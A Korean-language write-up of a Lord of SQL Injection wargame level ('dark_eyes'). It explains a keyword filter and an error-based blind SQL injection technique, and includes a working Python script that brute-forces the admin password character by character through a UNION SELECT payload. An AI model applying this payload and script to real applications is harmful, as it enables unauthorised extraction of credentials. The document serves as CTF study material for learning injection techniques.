공격 백터는 pw 파라미터 하나다.
pw 파라미터의 검증은 prob, _, ., (), col, if, case, when, sleep, benchmark를 필터링하고 있으며, 두번째 쿼리에는 addslashes 함수를 사용하여 쿼리문에 넣어지고 있다.

필터링 목록에 있는 함수들은 정리하였다.

  • col
    이것은 함수가 아니고, column이라는 단어을 막기 위해 목록에 넣는 것으로 판단이 된다.
  • if
    IF(requested, A, B)으로 사용 가능하며 requested가 True일 때 A가 반환되며, False일 때 B을 반환하다.
  • case, when
    CASE WHEN 조건1 THEN A WHEN 조건2 THEN B ELSE C END 으로 사용 가능하며 조건1일 때 A를 반환, 조건2일 때 B를 반환, 두 조건에 해당되지 않는 경우 C를 반환한다.
  • sleep
    SLEEP(초)로 사용 가능하며 인자로 넣은 초만큼 지연시키는 함수이다. sleep(5)이면 5초 지연된다.
  • benchmark
    BENCHMARK(count, A)로 사용 가능하며 count 만큼 반복적으로 A를 실행하는 함수이다. 주로 Mysql이 A의 실행 시간을 측정할 때 사용되며, 반환값은 0을 반환한다.

문제 페이지의 코드를 살펴보니, 전 문제인 Iron Golem 문제처럼 결과값이 출력되지 않기 때문에 Blind SQLI를 시도해야한다.

?pw='

Error 메세지가 출력하는지 확인해봤지만 출력되지 않는 것을 확인할 수 있었다.
하지만 Error를 발생 시키면 빈 화면을 보여주기 때문에 Error-Based Blind SQLI를 시도할 수 있거라 생각한다.

 

나는 IF문을 대신할 수 있는 SELECT 1 UNION SELECT 2를 찾을 수 있었다.
몇가지 테스트를 해보니 좀 특이하였다.

 

UNION으로 추가한 2가 그대로 출력되는 것을 확인할 수 있다.

 

만약 원본 데이터와 같으면 1개만 나오는 것을 볼 수 있다.

 

내가 특이하다고 말하는 것은 이처험 SQLI에 활용하였을 때이다.
이 때는 SELECT 1 UNION SELECT 1이라서 원본 데이터와 UNION 데이터와 같아서 1만 반환이 된다.
SELECT id FROM prob_iron_golem WHERE id='admin' and pw='' or id='admin' and 1이 되기 때문에 1를 True로 인식하여 쿼리의 결과가 admin이 나오게 된다.

 


하지만 만약 원본 데이터와 다르면 1,0이 반환이 되면서 쿼리문은 SELECT id FROM prob_iron_golem WHERE id='admin' and pw='' or id='admin' and 1, 0이 된다.
그러면 Mysql에선 이상한 쿼리문이 되기 때문에 Error를 발생시킨다.

이처럼 UNION의 SELECT에 넣은 조건이 True면 1이 반환이 되면서 SELECT id FROM prob_iron_golem WHERE id='admin' and pw='' or id='admin' and 1이 될 것이며, False면 SELECT id FROM prob_iron_golem WHERE id='admin' and pw='' or id='admin' and 1, 0이 반환되면서 Error를 발생시킨다.

 

즉, 우리는 흰 화면이 나오면 False로 인식하고 해당 문제를 풀이하면 된다.

 

몇 번 시도해보니, pw의 길이를 찾을 수 있었다.

 

import requests, string

url = 'https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php'
headers = {'Cookie': 'PHPSESSID=g08kd2u2tgcm78s61tndb10ml5'}

def pwParser():
    result = ''
    for num in range(1, 8+1):
        for s in string.ascii_lowercase + string.digits + string.punctuation:
            parameter = f"?pw=%27||id=0x61646D696E%26%26(SELECT 1 UNION SELECT SUBSTR(pw,{num},1)='{s}')%23"
            res = requests.get(url + parameter, headers=headers)

            if "query" in res.text:
                print(f'pw의 {num}번째 값 >>>>', s, hex(ord(s)))
                result += s
                break
    print(result)

pwParser()

전 문제에서 사용한 코드를 조금 수정하여 pw를 파싱하니 간단히 파싱을 할 수 있었다.

 

파싱한 pw를 서버에 넘기니 클리어할 수 있었다.

복사했습니다!